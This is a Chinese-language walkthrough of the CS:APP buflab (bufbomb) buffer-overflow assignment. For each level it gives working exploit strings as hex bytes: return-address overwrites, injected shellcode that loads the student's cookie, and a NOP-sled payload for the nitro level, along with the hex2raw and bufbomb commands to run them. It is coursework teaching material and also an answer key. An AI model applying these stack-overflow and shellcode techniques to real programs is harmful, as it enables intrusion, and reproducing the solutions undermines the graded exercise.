本教程在Ubuntu16.04 (32位)下完成
(仅适用于部分同学,更改cookie即可,即仅需更改加粗部分为你的cookie)
在同学电脑上试了一下,好像只有前两关可以这样直接改,其他几关应该是因为ebp不同的原因。
-
解压文件,在文件夹buflab-handout下打开终端
-
生成自己的cookie,输入 ./makecookie xxx
- xxx为自己随便设置的字符串,输入后会生成一个cookie
(蓝色地方就是xxx,被我抹掉了) - 下面那串十六进制数就是我们的cookie
- 新建一个文本文件,每次将level x 的答案放在里面,名字看个人,我把它命名为answer。每次只能放一个level的答案。加粗部分为可能需要更改的地方。
该答案均为小端法
我们的准备工作到这就结束了。接下来是具体关卡。
level 0
- 设置answer里面内容
- answer里面内容:
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00
0b 8e 04 08
(由于smoke函数首地址有0a,所以我们顺延到下一条指令地址 08048e0b)
08048e0a < smoke >:
8048e0a: 55 push %ebp
8048e0b: 89 e5 mov %esp,%ebp
- 输入指令
./hex2raw <answer | ./bufbomb -u xxx
level 1
- 设置answer里面内容
- answer里面内容:
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00
af 8d 04 08
00 00 00 00
16 e7 e9 69
加粗部分:你的cookie
- 输入指令
./hex2raw <answer | ./bufbomb -u xxx
level 2
- 设置answer里面内容
- answer里面内容:
b8 16 e7 e9 69 a3 0c d1 04 08
c3 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00
58 2f 68 55
52 8d 04 08
加粗部分:你的cookie
- 输入指令
./hex2raw <answer | ./bufbomb -u xxx
level 3
- 设置answer里面内容
- answer里面内容:
b8 16 e7 e9 69 bd b0 2f 68 55
68 50 8e 04 08 c3 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00
58 2f 68 55
加粗部分:你的cookie
- 输入指令
./hex2raw <answer | ./bufbomb -u xxx
level 3
- 设置answer里面内容
- answer里面内容:
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 8d
6c 24 28 b8 16 e7 e9 69 68 e2
8c 04 08 c3 b8 2d 68 55
加粗部分:你的cookie
- 输入指令
./hex2raw -n <answer | ./bufbomb -n -u xxx